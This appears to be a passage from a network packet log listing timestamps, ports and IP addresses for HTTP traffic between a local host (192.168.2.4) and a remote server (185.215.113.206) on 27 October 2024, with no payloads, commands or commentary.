Oct 27, 2024 12:13:28.189229965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189245939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189254045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.189276934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.189291954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.189337969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189353943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189367056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189380884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.189384937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189424038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.189443111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.189449072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189461946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189481974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189491034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.189498901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189507008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189519882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.189547062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.189609051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189625025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189640045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189647913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189661980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189677000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189687014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.189711094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.189778090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189791918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189806938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189821959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189835072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.189836979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189855099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189868927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.189877033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.189910889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.189944983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189960003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189974070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.190007925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.190013885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.190049887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.190068960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.190074921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.190084934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.190100908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.190116882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.190129042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.190161943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.190212965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.190227985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.190236092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.190248966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.190265894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.190279961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.190279961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.190305948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.190327883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.228647947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.228702068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.228734970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.228776932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.228785992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.228818893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.228818893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.228849888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.228853941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.228877068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.228889942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.228909016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.228926897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.228962898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.228976011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229010105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229062080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229094028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229114056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229127884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229140043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229161978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229176044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229196072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229206085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229231119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229242086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229274035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229286909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229319096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229332924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229353905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229368925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229403019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229429007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229461908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229473114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229505062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229509115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229538918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229557991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229593039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229598045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229649067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229650974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229681015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229701996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229715109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229728937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229744911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229763985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229779005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229787111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229825020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229829073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229861975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229885101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229895115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229901075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229928017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.229948997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229978085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.229978085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230010986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230024099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230043888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230057955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230074883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230093002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230119944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230123997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230156898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230174065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230191946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230197906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230226994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230238914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230262041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230281115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230310917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230313063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230344057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230354071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230376959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230408907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230417013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230443954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230457067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230489016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230515003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230523109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230546951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230573893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230576992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230607986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230639935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230665922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230674982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230694056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230720997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230724096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230756998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230771065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230789900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230804920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230824947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230840921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230873108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230873108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230957985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.230977058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.230997086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231014013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231046915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231057882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231081009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231092930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231116056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231128931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231152058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231165886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231185913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231194019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231220961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231240988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231266975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231271029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231303930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231318951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231355906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231363058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231400013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231410027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231434107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231446028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231467962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231479883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231502056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231551886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231584072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231616020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231637001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231652021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231674910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231674910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231688976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231690884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231714964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231723070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231739044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231756926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231791019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231811047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231822968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231848001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231873035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231874943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231920958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231921911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231955051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.231969118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.231987953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.232000113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.232022047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.232033968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.232055902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.232069016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.232090950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.232101917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.232125044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.232135057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.232157946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.232170105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.232192039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.232203007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.232227087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.232237101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.232260942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.232270002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.232295036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.232306957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.232341051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.232346058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.232378960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.232391119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.232414007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.232424021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.232448101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.232458115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.232492924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.232498884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.232527971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.232547045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.232570887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.232577085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.232610941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.232625961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.232642889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.232676983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.232692003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.232712030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.232728004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.232758045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.303077936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.303122044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.303138971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.303160906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.303177118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.303191900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.303208113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.303211927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.303225040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.303241014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.303267956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.303271055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.303283930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.303284883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.303322077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.303359985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.305022955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.305058002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.305109024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.305139065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.305143118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.305176973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.305200100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.305211067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.305228949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.305248022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.305255890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.305283070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.305294991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.305327892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.305557966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.305607080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.305609941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.305645943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.305655956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.305690050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.305711985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.305746078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.305758953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.305780888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.305795908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.305818081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.305830002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.305855036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.305860996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.305890083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.305905104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.305924892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.305936098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.305969954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306009054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306041956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306055069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306080103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306087971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306124926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306130886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306183100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306183100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306216955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306240082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306250095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306265116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306284904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306296110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306319952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306329012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306353092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306365013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306399107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306406021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306440115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306463003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306477070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306489944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306510925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306524038 CET	49730	80	192.168.2.4	185.215.113.206
